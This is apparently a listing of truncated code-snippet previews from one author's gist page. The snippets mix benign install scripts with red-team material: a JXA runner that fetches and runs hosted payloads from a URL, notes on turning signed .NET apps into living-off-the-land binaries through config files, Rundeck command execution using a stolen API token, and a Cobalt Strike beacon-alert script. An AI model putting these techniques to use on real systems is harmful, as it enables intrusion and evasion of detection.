thesubtlety

#!/bin/bash
# Install golang to home dir
GOPATH="$HOME/go"
GOUTIL="$HOME/.go"
LATEST="$(curl -s https://go.dev/VERSION?m=text)"
DL_PKG="$LATEST.linux-amd64.tar.gz"
DL_URL="https://go.dev/dl/$DL_PKG"
wget "$DL_URL" -P "$GOUTIL"
rm -rf "$GOPATH" && tar -C $HOME -xzf "$GOUTIL/$DL_PKG"
export PATH=$PATH:$HOME/go/bin

thesubtlety

#!/usr/bin/env bash
# https://sharats.me/posts/shell-script-best-practices/

set -o errexit
set -o nounset
set -o pipefail
if [[ "${TRACE-0}" == "1" ]]; then
    set -o xtrace
fi

thesubtlety

// adapted from cedowns jxa-runner

import Foundation
import Cocoa
import OSAKit

//Usage:
// for hosted .js JXA payloads: ./JXARunner -u [url_to_jxa_payload]
// for local .js JXA payloads: ./JXARunner -f [path_to_jxa_payload]
// echo 'jxacode' | ./runner -s

thesubtlety

#import <Foundation/Foundation.h>
#import <Appkit/AppKit.h>
#import <CoreFoundation/CoreFoundation.h>
#import <OSAKit/OSAKit.h>
#import <Cocoa/Cocoa.h>
#import <OSAKit/OSALanguage.h>
#import <Foundation/NSString.h>
#include <string.h>

//jxarunner file.js

thesubtlety

Let's turn Any .NET Application into an LOL Bin

We can do this by experimenting with .config files.

Many defenders catch/detect files that are renamed, they do this by matching Original Filename to Process Name

In this example, we don't have to rename anything. We simple coerce a trusted signed app to load our Assembly.

We do this by directing the application to read a config file we provide.

thesubtlety

Rundeck Compromise

Reference notes to run commands on nodes controlled by Rundeck given a valid API token.

RUNDECK="https://host"
TOKEN="x-rundeck-auth-token:<secret>"

# Identify projects
curl -H $TOKEN $RUNDECK/api/16/projects/ -H accept:application/json | jq  .

thesubtlety

# CNA script to alert on dead beacons. Doesn't repeat messages.
# author: noah @thesubtlety
# credit https://github.com/bluscreenofjeff/AggressorScripts/blob/master/stale-beacon-notifier.cna - bluescreenofjeff

$webhook_url = "https://hooks.slack.com/services/xxxxx";
$slack_channel = "#crackers";
%beacon_status = %();

# default stale value of 5 minutes (300000ms)
$stale_value = 300000;

thesubtlety

Natlas/Docker Install

https://github.com/natlas/natlas/blob/main/natlas-server#installation-production https://github.com/natlas/natlas/blob/main/natlas-agent#installation-production

You should probably read the above instructions but if you just want to get up and running, this should do it.

Install Docker, configure directories

apt install docker.io

thesubtlety

function Get-Exports {
<#
.SYNOPSIS
Get-Exports, fetches DLL exports and optionally provides
C++ wrapper output (idential to ExportsToC++ but without
needing VS and a compiled binary). To do this it reads DLL
bytes into memory and then parses them (no LoadLibraryEx).
Because of this you can parse x32/x64 DLL's regardless of
the bitness of PowerShell.

thesubtlety

package main

import (
	"fmt"
	"syscall"
	"unicode/utf16"
	"unsafe"
)

//https://github.com/golang/go/wiki/WindowsDLLs